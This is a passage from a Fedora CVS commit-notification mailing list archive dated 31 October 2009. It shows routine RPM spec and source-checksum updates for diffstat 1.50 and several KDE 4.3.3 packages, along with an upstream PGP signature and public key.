+- 1.50 (bug #527702).
+- Ship CHANGES and README (bug #527703).
+- Build requires xz (bug #527708).
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.43-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/diffstat/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	6 Mar 2007 16:29:24 -0000	1.8
+++ sources	31 Oct 2009 13:23:35 -0000	1.9
@@ -1 +1 @@
-c23f9af8075fd81e98a0afdc3df49de9  diffstat-1.43.tgz
+ece8f6a380d30cf2355ebb27375350d7  diffstat-1.50.tgz



From twaugh at fedoraproject.org  Sat Oct 31 13:25:16 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Sat, 31 Oct 2009 13:25:16 +0000 (UTC)
Subject: rpms/diffstat/devel diffstat-compress.patch,1.1,NONE
Message-ID: <20091031132516.4E97211C00EF@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/diffstat/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12088

Removed Files:
	diffstat-compress.patch 
Log Message:
No longer need compress patch.


--- diffstat-compress.patch DELETED ---



From rdieter at fedoraproject.org  Sat Oct 31 13:34:29 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 31 Oct 2009 13:34:29 +0000 (UTC)
Subject: rpms/kdelibs-experimental/devel .cvsignore, 1.11,
	1.12 kdelibs-experimental.spec, 1.12, 1.13 sources, 1.9, 1.10
Message-ID: <20091031133429.BE89211C029D@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdelibs-experimental/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15124

Modified Files:
	.cvsignore kdelibs-experimental.spec sources 
Log Message:
* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
- 4.3.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kdelibs-experimental/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	7 Oct 2009 11:01:20 -0000	1.11
+++ .cvsignore	31 Oct 2009 13:34:29 -0000	1.12
@@ -1 +1 @@
-kdelibs-experimental-4.3.2.tar.bz2
+kdelibs-experimental-4.3.3.tar.bz2


Index: kdelibs-experimental.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdelibs-experimental/devel/kdelibs-experimental.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- kdelibs-experimental.spec	5 Oct 2009 13:59:43 -0000	1.12
+++ kdelibs-experimental.spec	31 Oct 2009 13:34:29 -0000	1.13
@@ -1,5 +1,6 @@
+
 Name:    kdelibs-experimental
-Version: 4.3.2
+Version: 4.3.3
 Release: 1%{?dist}
 Summary: KDE libraries with experimental or unstable api/abi
 
@@ -61,6 +62,9 @@ rm -rf %{buildroot} 
 
 
 %changelog
+* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
+- 4.3.3
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kdelibs-experimental/devel/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	5 Oct 2009 13:59:43 -0000	1.9
+++ sources	31 Oct 2009 13:34:29 -0000	1.10
@@ -1 +1 @@
-d473afb133b5b7d3ead9699c17fe6761  kdelibs-experimental-4.3.2.tar.bz2
+b9a048ccf15e90dcfd4790f65e6b54b9  kdelibs-experimental-4.3.3.tar.bz2



From rdieter at fedoraproject.org  Sat Oct 31 13:40:06 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 31 Oct 2009 13:40:06 +0000 (UTC)
Subject: rpms/kdebase-runtime/devel .cvsignore, 1.40,
	1.41 kdebase-runtime.spec, 1.150, 1.151 sources, 1.40, 1.41
Message-ID: <20091031134006.C108A11C00EF@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase-runtime/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17650

Modified Files:
	.cvsignore kdebase-runtime.spec sources 
Log Message:
* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.3-1
- 4.3.3
- disable manpath support until fixed (#532071)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-runtime/devel/.cvsignore,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- .cvsignore	6 Oct 2009 13:01:11 -0000	1.40
+++ .cvsignore	31 Oct 2009 13:40:04 -0000	1.41
@@ -1 +1 @@
-kdebase-runtime-4.3.2.tar.bz2
+kdebase-runtime-4.3.3.tar.bz2


Index: kdebase-runtime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-runtime/devel/kdebase-runtime.spec,v
retrieving revision 1.150
retrieving revision 1.151
diff -u -p -r1.150 -r1.151
--- kdebase-runtime.spec	15 Oct 2009 22:17:55 -0000	1.150
+++ kdebase-runtime.spec	31 Oct 2009 13:40:05 -0000	1.151
@@ -5,8 +5,8 @@
 
 Name:          kdebase-runtime
 Summary:       K Desktop Environment - Runtime
-Version:       4.3.2
-Release:       4%{?dist}
+Version:       4.3.3
+Release:       1%{?dist}
 
 # http://techbase.kde.org/Policies/Licensing_Policy
 License:       LGPLv2+
@@ -107,7 +107,9 @@ BuildArch: noarch
 %patch2 -p1 -b .knetattach
 %patch3 -p1 -b .iconthemes-inherit
 %patch4 -p1 -b .nepomuk-autostart
-%patch5 -p1 -b .manpath
+# disabled, until fixed, http://bugzilla.redhat.com/532071
+#patch5 -p1 -b .manpath
+
 
 %build
 mkdir -p %{_target_platform}
@@ -224,6 +226,10 @@ fi
 
 
 %changelog
+* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.3-1
+- 4.3.3
+- disable manpath support until fixed (#532071)
+
 * Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-4
 - Conflicts: kdebase4 < 4.3.0 instead 
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-runtime/devel/sources,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- sources	4 Oct 2009 10:17:12 -0000	1.40
+++ sources	31 Oct 2009 13:40:05 -0000	1.41
@@ -1 +1 @@
-b0dfe65bc6d18c259c236889f92e2817  kdebase-runtime-4.3.2.tar.bz2
+88bf28d42d326c16abceaf3f1c6bffde  kdebase-runtime-4.3.3.tar.bz2



From rdieter at fedoraproject.org  Sat Oct 31 13:43:45 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 31 Oct 2009 13:43:45 +0000 (UTC)
Subject: rpms/kdebase-runtime/devel kdebase-runtime.spec,1.151,1.152
Message-ID: <20091031134345.E3E8811C00EF@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase-runtime/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19575

Modified Files:
	kdebase-runtime.spec 
Log Message:
don't disable manpath patch, not 100% sure what's to blame yet



Index: kdebase-runtime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-runtime/devel/kdebase-runtime.spec,v
retrieving revision 1.151
retrieving revision 1.152
diff -u -p -r1.151 -r1.152
--- kdebase-runtime.spec	31 Oct 2009 13:40:05 -0000	1.151
+++ kdebase-runtime.spec	31 Oct 2009 13:43:45 -0000	1.152
@@ -107,8 +107,7 @@ BuildArch: noarch
 %patch2 -p1 -b .knetattach
 %patch3 -p1 -b .iconthemes-inherit
 %patch4 -p1 -b .nepomuk-autostart
-# disabled, until fixed, http://bugzilla.redhat.com/532071
-#patch5 -p1 -b .manpath
+%patch5 -p1 -b .manpath
 
 
 %build
@@ -228,7 +227,6 @@ fi
 %changelog
 * Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.3-1
 - 4.3.3
-- disable manpath support until fixed (#532071)
 
 * Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-4
 - Conflicts: kdebase4 < 4.3.0 instead 



From rdieter at fedoraproject.org  Sat Oct 31 13:50:10 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 31 Oct 2009 13:50:10 +0000 (UTC)
Subject: rpms/oxygen-icon-theme/devel .cvsignore, 1.12,
	1.13 oxygen-icon-theme.spec, 1.10, 1.11 sources, 1.10, 1.11
Message-ID: <20091031135010.B26DB11C0376@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/oxygen-icon-theme/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21673

Modified Files:
	.cvsignore oxygen-icon-theme.spec sources 
Log Message:
* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
- 4.3.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/oxygen-icon-theme/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	7 Oct 2009 12:45:49 -0000	1.12
+++ .cvsignore	31 Oct 2009 13:50:08 -0000	1.13
@@ -1 +1 @@
-oxygen-icons-4.3.2.tar.bz2
+oxygen-icons-4.3.3.tar.bz2


Index: oxygen-icon-theme.spec
===================================================================
RCS file: /cvs/pkgs/rpms/oxygen-icon-theme/devel/oxygen-icon-theme.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- oxygen-icon-theme.spec	5 Oct 2009 15:52:59 -0000	1.10
+++ oxygen-icon-theme.spec	31 Oct 2009 13:50:09 -0000	1.11
@@ -1,6 +1,7 @@
+
 Name:          oxygen-icon-theme 
 Summary:       Oxygen icon theme 
-Version:       4.3.2
+Version:       4.3.3
 Release:       1%{?dist}
 
 License:       LGPLv3+ 
@@ -66,6 +67,9 @@ fi
 
 
 %changelog
+* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
+- 4.3.3
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/oxygen-icon-theme/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	5 Oct 2009 15:52:59 -0000	1.10
+++ sources	31 Oct 2009 13:50:09 -0000	1.11
@@ -1 +1 @@
-6f5b700a65720f44d895a10049bbc05c  oxygen-icons-4.3.2.tar.bz2
+4eabdae208de4f9bb49e9049237adfa4  oxygen-icons-4.3.3.tar.bz2



From rdieter at fedoraproject.org  Sat Oct 31 13:53:49 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 31 Oct 2009 13:53:49 +0000 (UTC)
Subject: rpms/kdebase/devel .cvsignore, 1.95, 1.96 kdebase.spec, 1.399,
	1.400 sources, 1.116,
	1.117 kdebase-4.3.2-dolphin-kde#202176.patch, 1.1,
	NONE kdebase-4.3.2-kde#160679-bookmark-crash.patch, 1.1, NONE
Message-ID: <20091031135349.818C911C00EF@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22717

Modified Files:
	.cvsignore kdebase.spec sources 
Removed Files:
	kdebase-4.3.2-dolphin-kde#202176.patch 
	kdebase-4.3.2-kde#160679-bookmark-crash.patch 
Log Message:
* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
- 4.3.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase/devel/.cvsignore,v
retrieving revision 1.95
retrieving revision 1.96
diff -u -p -r1.95 -r1.96
--- .cvsignore	6 Oct 2009 12:49:20 -0000	1.95
+++ .cvsignore	31 Oct 2009 13:53:48 -0000	1.96
@@ -1 +1 @@
-kdebase-4.3.2.tar.bz2
+kdebase-4.3.3.tar.bz2


Index: kdebase.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase/devel/kdebase.spec,v
retrieving revision 1.399
retrieving revision 1.400
diff -u -p -r1.399 -r1.400
--- kdebase.spec	9 Oct 2009 00:28:12 -0000	1.399
+++ kdebase.spec	31 Oct 2009 13:53:49 -0000	1.400
@@ -1,8 +1,9 @@
+
 Name: kdebase
 Summary: K Desktop Environment 4 - Core Files
-Version: 4.3.2
-Release: 3%{?dist}
 Epoch: 6
+Version: 4.3.3
+Release: 1%{?dist}
 
 License: GPLv2
 Group: User Interface/Desktops
@@ -16,8 +17,6 @@ Patch1:   kdebase-4.1.70-konsole-session
 Patch2:   kdebase-4.2.1-home-icon.patch
 
 # 4.3 upstream patches
-Patch100: kdebase-4.3.2-dolphin-kde#202176.patch
-Patch101: kdebase-4.3.2-kde#160679-bookmark-crash.patch
 
 %ifnarch s390 s390x
 Requires: eject
@@ -112,8 +111,6 @@ Requires: kdelibs4-devel kdepimlibs4-dev
 %patch2 -p1 -b .home-icon
 
 # 4.3 upstream patches
-%patch100 -p1 -b .dolphin-kde#202176
-%patch101 -p0 -b .kde#160679
 
 # fix incorrect assumption that we're building in a combined kdebase tree
 sed -i -e 's/EXISTS "${kdebase_SOURCE_DIR}"/0/g' apps/CMakeLists.txt
@@ -236,6 +233,9 @@ fi
 
 
 %changelog
+* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
+- 4.3.3
+
 * Fri Oct 09 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-3
 - backport upstream patch for bookmark editor drag&drop crash (kde#160679)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase/devel/sources,v
retrieving revision 1.116
retrieving revision 1.117
diff -u -p -r1.116 -r1.117
--- sources	4 Oct 2009 10:11:05 -0000	1.116
+++ sources	31 Oct 2009 13:53:49 -0000	1.117
@@ -1 +1 @@
-7d6b968d8d8dd3730522389dabbb23e2  kdebase-4.3.2.tar.bz2
+8072ce9848af28c75c5af2d8c832f985  kdebase-4.3.3.tar.bz2


--- kdebase-4.3.2-dolphin-kde#202176.patch DELETED ---


--- kdebase-4.3.2-kde#160679-bookmark-crash.patch DELETED ---



From nucleo at fedoraproject.org  Sat Oct 31 14:10:21 2009
From: nucleo at fedoraproject.org (nucleo)
Date: Sat, 31 Oct 2009 14:10:21 +0000 (UTC)
Subject: rpms/webkitkde/devel sources,1.2,1.3 webkitkde.spec,1.2,1.3
Message-ID: <20091031141021.9C20711C00EF@cvs1.fedora.phx.redhat.com>

Author: nucleo

Update of /cvs/pkgs/rpms/webkitkde/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28546

Modified Files:
	sources webkitkde.spec 
Log Message:
svn snapshot 1042864


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/webkitkde/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	25 Sep 2009 16:43:18 -0000	1.2
+++ sources	31 Oct 2009 14:10:19 -0000	1.3
@@ -1 +1 @@
-eccfb5d3f6c973f18b4b55cb01789756  webkitkde-0.0.1-svn.tar.bz2
+4b3386fd3698bd6c0f572f933977532d  webkitkde-0.0.1-svn.tar.bz2


Index: webkitkde.spec
===================================================================
RCS file: /cvs/pkgs/rpms/webkitkde/devel/webkitkde.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- webkitkde.spec	27 Sep 2009 17:30:55 -0000	1.2
+++ webkitkde.spec	31 Oct 2009 14:10:20 -0000	1.3
@@ -1,6 +1,6 @@
 Name:             webkitkde
 Version:          0.0.1
-Release:          0.2.20090924svn%{?dist}
+Release:          0.3.20091031svn%{?dist}
 Summary:          QtWebKit bindings to KDE
 Group:            System Environment/Libraries
 License:          LGPLv2+
@@ -22,7 +22,6 @@ URL:              http://techbase.kde.or
 #
 # To create a new checkout use it with anonymous svn access
 # ./create_tarball.rb -n -a webkitkde
-# svn revision 1027811
 Source0:          %{name}-%{version}-svn.tar.bz2
 BuildRoot:        %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:    cmake gettext
@@ -132,6 +131,9 @@ fi
 %{_kde4_appsdir}/cmake/modules/FindWebKitPart.cmake
 
 %changelog
+* Sat Oct 31 2009 Alexey Kurov <nucleo at fedoraproject.org> - 0.0.1-0.3.20091031svn
+- svn snapshot 1042864
+
 * Sun Sep 27 2009 Alexey Kurov <nucleo at fedoraproject.org> - 0.0.1-0.2.20090924svn
 - webkitpart should owns kpartplugins in webkitpart apps dir
 



From rdieter at fedoraproject.org  Sat Oct 31 14:27:19 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 31 Oct 2009 14:27:19 +0000 (UTC)
Subject: rpms/kdebase-workspace/devel .cvsignore, 1.40,
	1.41 kdebase-workspace.spec, 1.302, 1.303 sources, 1.48, 1.49
Message-ID: <20091031142719.7DDAD11C00EF@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase-workspace/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2648

Modified Files:
	.cvsignore kdebase-workspace.spec sources 
Log Message:
* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
- 4.3.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-workspace/devel/.cvsignore,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- .cvsignore	6 Oct 2009 13:07:53 -0000	1.40
+++ .cvsignore	31 Oct 2009 14:27:17 -0000	1.41
@@ -1 +1 @@
-kdebase-workspace-4.3.2.tar.bz2
+kdebase-workspace-4.3.3.tar.bz2


Index: kdebase-workspace.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-workspace/devel/kdebase-workspace.spec,v
retrieving revision 1.302
retrieving revision 1.303
diff -u -p -r1.302 -r1.303
--- kdebase-workspace.spec	15 Oct 2009 13:22:31 -0000	1.302
+++ kdebase-workspace.spec	31 Oct 2009 14:27:17 -0000	1.303
@@ -1,3 +1,4 @@
+
 %if 0%{?fedora} && 0%{?fedora} < 12
 %define with_polkit_09 1
 %endif
@@ -6,9 +7,9 @@
 
 Summary: K Desktop Environment - Workspace
 Name: kdebase-workspace
-Version: 4.3.2
+Version: 4.3.3
 
-Release: 2%{?dist}
+Release: 1%{?dist}
 Source0: ftp://ftp.kde.org/pub/kde/stable/%{version}/src/kdebase-workspace-%{version}.tar.bz2
 License: GPLv2
 Group: User Interface/Desktops
@@ -600,6 +601,9 @@ fi
 
 
 %changelog
+* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
+- 4.3.3
+
 * Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-2
 - drop Requires: oxygen-icon-theme (dep moved to kdebase-runtime)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-workspace/devel/sources,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- sources	4 Oct 2009 10:44:58 -0000	1.48
+++ sources	31 Oct 2009 14:27:17 -0000	1.49
@@ -1 +1 @@
-2966168f421b3093a119a7c7089b87fb  kdebase-workspace-4.3.2.tar.bz2
+0af67c6ee6385cc86f694bc8e1675ddb  kdebase-workspace-4.3.3.tar.bz2



From twaugh at fedoraproject.org  Sat Oct 31 14:37:53 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Sat, 31 Oct 2009 14:37:53 +0000 (UTC)
Subject: rpms/diffstat/F-12 diffstat-1.50.tgz.asc, NONE, 1.1 upstream-key.gpg,
	NONE, 1.1 diffstat.spec, 1.29, 1.30 sources, 1.8,
	1.9 diffstat-compress.patch, 1.1, NONE
Message-ID: <20091031143753.3C59111C00EF@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/diffstat/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6329

Modified Files:
	diffstat.spec sources 
Added Files:
	diffstat-1.50.tgz.asc upstream-key.gpg 
Removed Files:
	diffstat-compress.patch 
Log Message:
* Sat Oct 31 2009 Tim Waugh <twaugh at redhat.com> 1.50-1
- 1.50 (bug #527702).
- Ship CHANGES and README (bug #527703).
- Build requires xz (bug #527708).



--- NEW FILE diffstat-1.50.tgz.asc ---
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: See http://invisible-island.net/public/public.html for info

iEYEABECAAYFAkrL39YACgkQcCNT4PfkjtvsxQCg0OsMRVWL/89n5iNCWjJJ0RFS
VSYAoMiVAbPnxpmmKFhaoY/7uNYBcnTf
=0sr0
-----END PGP SIGNATURE-----


--- NEW FILE upstream-key.gpg ---
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.2.3 (GNU/Linux)

mQGiBD/4r7IRBADFuacEqf9fye+NQSm7xjNP705aq75VrUd2hJyPmSiFUIyQEfc4
4GQXGdFg+/Apq4iq/50/8pR8YXOKwP5OE69emEp7IxjST41orGUk5ZwcnlSkaruN
WLTe/lN3e0oOIVbYig1lUbU5IxZu03KfNg2DZ9JiZdNBlzlqx1+oFlWFLwCg3awg
EfOUfbe4kVxNrsnxaCJYJ38EAMRVyUOfhkm9l0YuiC4ebOHrdmn9jFVW+XZPZDeb
8DcyTBNrgvVTnEmrNzVJgOyZIW+uraBVitak+No1kwXvC/i0kZEzYqfG87EdJSfe
OV7axIRisiTrcbZdRJ3CBDtGvLqJ9OuGFHPQmntnZfhiwJTR79hepndEQYyV5eQb
oQ+aA/0bI+/odyRDefc9HF1EhOcz8E76QP+VlvUfIDUJrmwv/3gLZ968HACOe0DE
+bcUockLJxoNwQFwCQPjm5S2+Ba2uY4hRhOA+MResZWlPouoosay2ADfiU7pdBCx
nbcLAuezgnZg4jcXvLl1QiAihxaEI2jqgZBnnierWzqRzRZM4LQrVGhvbWFzIERp
Y2tleSA8ZGlja2V5QGludmlzaWJsZS1pc2xhbmQubmV0PoheBBMRAgAeBQI/+K+y
AhsDBgsJCAcDAgMVAgMDFgIBAh4BAheAAAoJEHAjU+D35I7bejEAnRYLqlswwk+F
+pWcppXLnsskhTfSAKCrg23hTwzaaW9mlbmDavid+QQu3bkBDQQ/+K+0EAQAjTl1
EeUt5EUq8tiGBq+KtFo3TxIdJKBtVFQ4btETdF23dkZ1o1642GmF7JJgn6PKUcJD
UlHhUO4IEcpHABAiU4HweoWh8yT/yaA9AXqRKcJpMQ5bEGoooHBIg0Uh8ahG6Q1c
HzgsGOaOK9YzFSvSIRXryMlrh1oITzvwEkXRfOcAAwcD/iRaNtGYaS05FwaaVvm0
Eexhhw2JzSaRP6PY3r/BGmgPVG9Uk9huk+Yk/pdW9Pa3KRj37ANK2svfwHx9A077
Ma9GoupZ/rjP01WO0ur8tzC7KsqCep9m33K9kdAeJZ0Ud+AwsnAEy/Q1XZin/jUU
5L1lzko010LXY9CqdrmCXhaqiEkEGBECAAkFAj/4r7QCGwwACgkQcCNT4Pfkjtuu
ngCg2es41JEYaarCcT+gFpyM0WCqAU8An3L0pkO4wtZ8SejpHa7WSR9M54xd
=VWbi
-----END PGP PUBLIC KEY BLOCK-----


Index: diffstat.spec
===================================================================
RCS file: /cvs/pkgs/rpms/diffstat/F-12/diffstat.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- diffstat.spec	24 Jul 2009 20:15:54 -0000	1.29
+++ diffstat.spec	31 Oct 2009 14:37:51 -0000	1.30
@@ -1,13 +1,14 @@
 Summary: A utility which provides statistics based on the output of diff
 Name: diffstat
-Version: 1.43
-Release: 10%{?dist}
+Version: 1.50
+Release: 1%{?dist}
 Group: Development/Tools
 License: MIT
 URL: http://invisible-island.net/diffstat
 Source0: ftp://invisible-island.net/diffstat/%{name}-%{version}.tgz
 Source1: COPYING
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+BuildRequires: xz
 
 %description
 The diff command compares files line by line.  Diffstat reads the
@@ -35,11 +36,16 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc COPYING
+%doc COPYING CHANGES README
 %{_bindir}/diffstat
 %{_mandir}/*/*
 
 %changelog
+* Sat Oct 31 2009 Tim Waugh <twaugh at redhat.com> 1.50-1
+- 1.50 (bug #527702).
+- Ship CHANGES and README (bug #527703).
+- Build requires xz (bug #527708).
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.43-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/diffstat/F-12/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	6 Mar 2007 16:29:24 -0000	1.8
+++ sources	31 Oct 2009 14:37:51 -0000	1.9
@@ -1 +1 @@
-c23f9af8075fd81e98a0afdc3df49de9  diffstat-1.43.tgz
+ece8f6a380d30cf2355ebb27375350d7  diffstat-1.50.tgz


--- diffstat-compress.patch DELETED ---



From rdieter at fedoraproject.org  Sat Oct 31 14:51:41 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 31 Oct 2009 14:51:41 +0000 (UTC)
Subject: rpms/kdepim/devel .cvsignore, 1.71, 1.72 kdepim.spec, 1.240,
	1.241 sources, 1.77, 1.78
Message-ID: <20091031145141.AF6C411C00EF@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdepim/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11246

Modified Files:
	.cvsignore kdepim.spec sources 
Log Message:
* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
- 4.3.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kdepim/devel/.cvsignore,v
retrieving revision 1.71
retrieving revision 1.72
diff -u -p -r1.71 -r1.72
--- .cvsignore	7 Oct 2009 11:58:25 -0000	1.71
+++ .cvsignore	31 Oct 2009 14:51:41 -0000	1.72
@@ -1 +1 @@
-kdepim-4.3.2.tar.bz2
+kdepim-4.3.3.tar.bz2


Index: kdepim.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdepim/devel/kdepim.spec,v
retrieving revision 1.240
retrieving revision 1.241
diff -u -p -r1.240 -r1.241
--- kdepim.spec	30 Oct 2009 19:44:26 -0000	1.240
+++ kdepim.spec	31 Oct 2009 14:51:41 -0000	1.241
@@ -1,3 +1,4 @@
+
 %ifnarch s390 s390x
 %define _with_pilot_link 1
 %endif
@@ -5,8 +6,8 @@
 Name:    kdepim
 Summary: PIM (Personal Information Manager) applications
 Epoch:   6
-Version: 4.3.2
-Release: 2%{?dist}
+Version: 4.3.3
+Release: 1%{?dist}
 
 License: GPLv2
 Group:   Applications/Productivity
@@ -218,6 +219,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
+- 4.3.3
+
 * Fri Oct 30 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-2
 - unbreak ktimetracker (#532055, kde#209570, patch from upstream)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kdepim/devel/sources,v
retrieving revision 1.77
retrieving revision 1.78
diff -u -p -r1.77 -r1.78
--- sources	5 Oct 2009 14:44:04 -0000	1.77
+++ sources	31 Oct 2009 14:51:41 -0000	1.78
@@ -1 +1 @@
-7e6a672bd681b2f19502798d7ed73fe8  kdepim-4.3.2.tar.bz2
+3a3c01abd6571cc337fa22d1c3601fe7  kdepim-4.3.3.tar.bz2



From rdieter at fedoraproject.org  Sat Oct 31 14:53:32 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 31 Oct 2009 14:53:32 +0000 (UTC)
Subject: rpms/kdepim/devel kdepim.spec, 1.241,
	1.242 kdepim-4.3.2-unbreak-ktimetracker.patch, 1.1, NONE
Message-ID: <20091031145332.94C4911C00EF@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdepim/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11858

Modified Files:
	kdepim.spec 
Removed Files:
	kdepim-4.3.2-unbreak-ktimetracker.patch 
Log Message:
* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
- 4.3.3



Index: kdepim.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdepim/devel/kdepim.spec,v
retrieving revision 1.241
retrieving revision 1.242
diff -u -p -r1.241 -r1.242
--- kdepim.spec	31 Oct 2009 14:51:41 -0000	1.241
+++ kdepim.spec	31 Oct 2009 14:53:32 -0000	1.242
@@ -13,15 +13,13 @@ License: GPLv2
 Group:   Applications/Productivity
 URL:     http://www.kde.org/
 Source0: ftp://ftp.kde.org/pub/kde/stable/%{version}/src/%{name}-%{version}.tar.bz2
+BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+
 Patch0:  kdepim-4.1.80-libqgpgme-link-fix.patch
 # http://bugzilla.redhat.com/show_bug.cgi?id=496988
